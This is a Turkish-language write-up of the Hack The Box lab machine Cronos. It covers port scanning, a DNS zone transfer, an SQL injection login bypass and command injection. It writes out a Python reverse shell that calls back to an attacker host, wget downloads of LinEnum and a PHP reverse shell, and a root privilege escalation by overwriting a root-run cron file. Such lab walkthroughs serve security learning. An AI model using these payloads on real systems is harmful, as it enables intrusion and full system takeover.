Hack The Box — Cronos
Port Tarama
Hedef sistem üzerinde ilk olarak açık portların tespiti için full port taraması gerçekleştirilir.
Full Port Tarama
nmap -Pn -p- — open -vv 10.10.10.13 -oN fullportscan.nmap
Açık olan portlar;
22/tcp ssh53/tcp domain80/tcp http
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve script taraması gerçekleştirilir.
Versiyon Tarama
nmap -sV -sC -p 22,53,80 -vv 10.10.10.13 -oN versionscan.nmap
Bilgi Toplama
Port 80
İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde aşağıda ekran görüntüsünde görüldüğü üzere bizi apache server’ın default sayfası ile karşılamaktadır.
Bu aşamada HTTP servisini açık olarak gördüğümüz her noktada gerçekleştirdiğimiz gibi “nikto” aracı ile bilgi toplama işlemi gerçekleştirebiliriz.
Gerçekleştirilen zafiyet tarama işlemine ait ekran görüntüsü aşağıda verilmiştir.
nikto — host=http://10.10.10.13/
Yukarıdaki ekran görüntüsünde de görüleceği üzere burada bize fayda sağlayacak herhangi bir sonuç elde edilememiştir.
Ardından domain adını tespit edebilmek adına “nslookup” aracı ile DNS sorgulaması gerçekleştirilebilir;
nslookupserver 10.10.10.1310.10.10.13
Gerçekleştirilen DNS sorgulaması sonucu “10.10.10.13” adresi için “ns1.cronos.htb” adresinin çözümlendiği gözlemlenmektedir. Bu aşamada “/etc/hosts” dosyasına “cronos.htb” adresini ekleyerek ilgili adrese tarayıcı üzerinden gidilebilir.
Dosya içeriğinin güncellenmesine ait detaylar aşağıda verilmiştir.
nano /etc/hostscat /etc/hosts
İlgili sayfanın tarayıcı üzerinden görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
Söz konusu alan adı için gerçekleştirilen zafiyet taramasına ait detaylar aşağıda verilmiştir.
nikto — host= http://cronos.htb/
Söz konusu alan adı için gerçekleştirilen dizin taramasına ait detaylar aşağıda verilmiştir.
gobuster -u http://cronos.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster
Ancak yukarıda çıkan sonuçlardan da görüldüğü üzere herhangi bir sonuç elde edilmemiştir.
Port 53
Bu aşamada söz konusu hedef sistem üzerinde 53 numaralı port açık olduğundan dolayı “dig” aracını kullanarak ilgili hedefin “DNS zone transfer” ataklarına karşı açık olup olmadığı kontrol edilebilir.
Söz konusu zafiyeti kontrol etmek adına aşağıdaki komut kullanılabilir;
dig axfr @10.10.10.13 cronos.htb
Yukarıdaki ekran görüntüsünde de görüleceği üzere söz konusu hedef sistem üzerinde DNS zone transfer atağının başarılı olduğu ve sonuçlar incelendiğinde burada “admin.cronos.htb” gibi bir subdomain tespit edildiği gözlemlenebilir.
Ardından ilgili adresi “/etc/hosts” dosyasına eklenebilir.
nano /etc/hostscat /etc/hosts
İlgili sayfayı tarayıcı üzerinden ziyaret ettiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır.
İlgili panele giriş denemesi sonucu gerçekleştirilen isteğe ve dönen yanıta ait ekran görüntüsü aşağıda verilmiştir.
Söz konusu panel üzerinde SQL injection denemeleri ile giriş işlemleri gerçekleştirilebilir. İlgili kullanıcı adı sonuna ‘ (tek tırnak) ifadesi eklenmiş ancak dönen yanıtta herhangi bir değişiklik olmadığı gözlemlenmiştir.
Ardından “ ‘ or 1=1 — ” payloadı ile giriş denemesi gerçekleştirilmiş ve dönen yanıt sonucu incelendiğinde hedef sistem üzerinde login olunabilindiği gözlemlenmiştir.
Hedef sistem üzerinde login olduktan sonra karşılaşılan sayfaya ait ekran görüntüsü aşağıda verilmiştir. Aşağıdaki ekran görüntülerinde de görüleceği üzere ilgili sayfa üzerinde komut çalıştırılabilinmektedir.
Hedef sistem üzerinde “python” varlığını tespit etmek adına aşağıdaki komut çalıştırılabilir.
which python
Zafiyetin İstismarı
Hedef sistem üzerinde python’un varlığını tespit ettikten sonra hedefte aşağıdaki komutu çalıştırabilir ve saldırgan sistem üzerinde bir dinleyici başlatarak reverse shell elde edilebilir.
Hedef sistem üzerinde çalıştırılan komut aşağıdaki gibidir;
8.8.8.8;python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.10”,8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Saldırgan sistem üzerinde aşağıdaki komutlar kullanılarak öncelikli olarak dinleyici başlatılmış ardından interaktif kabuğa yükseltilmiştir.
nc -lvp 8989python -c ‘import pty; pty.spawn(“/bin/bash”)’CTRL +Zstty raw -echofg
“user.txt” dosyasının tespitine ve içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
Yetki Yükseltme
Yetki yükseltme işleminde her zaman gerçekleştirildiği gibi hedef sistemde “/tmp” dizini altına “LinEnum.sh” scripti atılabilir. Bu adım için kullanılan komutlar aşağıdaki gibidir;
Saldırgan sistemde başlatılan HTTP server;
python -m SimpleHTTPServer 80
Hedef sisteme ilgili scriptin indirilmesi için çalıştırılan komut;
wget http://10.10.14.10/LinEnum.sh
Söz konusu script hedef sistem üzerinde çalışıtırılmıştır;
./LinEnum.sh
Script’ in çalıştırılması sonucu hedef sistem üzerinde yetki yükseltebileceğimiz birden fazla yöntem bulunmuş ancak bu makale için crontab üzerinden ilerleyeceğiz. Script’in çıktısını incelediğimizde hedef sistem üzerinde “root” tarafından çalıştırılan “artisan” adında bir crontab bulunduğu tespit edilmiştir. Ayrıca bu crontab’ ın izinleri incelendiğinde ise “www-data” kullanıcısı olarak yani bulunduğumuz yetki ile dosyanın çalıştırılabilindiği gözlemlenmiştir. Bu aşamada eğer ilgili dosyanın içeriğini root shell alacak şekilde düzenlersek ve söz konusu crontab root tarafından çalıştırılırsa yetkimizi yükseltmiş olacağız.
İlgili crontab’ın manuel olarak tespiti için aşağıdaki komut da kullanılabilir;
cat /etc/crontab
Söz konusu crontab’a ait dosya içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
cat artisan
İncelediğimizde crontab içeriğindeki PHP komutunu kullanarak dosyayı çalıştırıyor. Bu durumda içerisine eklediğimiz komut da PHP komutu olmalıdır. Bunun için ilk olarak saldırgan sistemden hedef sistem üzerine “php-reverse-shell” alabileceğimiz shell dosyasını atmalıyız.
Bu aşamada aşağıdaki komutlar kullanılmıştır.
Saldırgan sistem üzerinde;
cp /usr/share/laudanum/php/php-reverse-shell.phpnano php-reverse-shell.phppython -m SimpleHTTPServer 80
Hedef sistem üzerinde;
wget http://10.10.14.10/php-reverse-shell.php
Ardından bulunduğumuz dizinin altını listelediğimizde ilgili dosyanın hedef sistem üzerine aktarıldığını gözlemleyebiliriz.
Bu aşamada ilk olarak dosyamızın adını aşağıdaki komutu kullanarak crontab dosyasının adı ile değiştiriyoruz.
mv php-reverse-shell.php artisan
Ardından saldırgan sistem üzerinde dinleyicimizi başlatıyor ve hedefteki crontab dosyasının çalışmasını bekliyoruz.
nc -lvp 9696
Yukarıda da görüldüğü üzere hedef sistem üzerinde içeriğini değiştirdiğimiz crontab dosyası çalışmış ve yetkimiz “root” haklarına çıkmıştır.
Son olarak “root.txt” dosyasının yerini tespit ederek içeriğini görüntüleyebiliriz.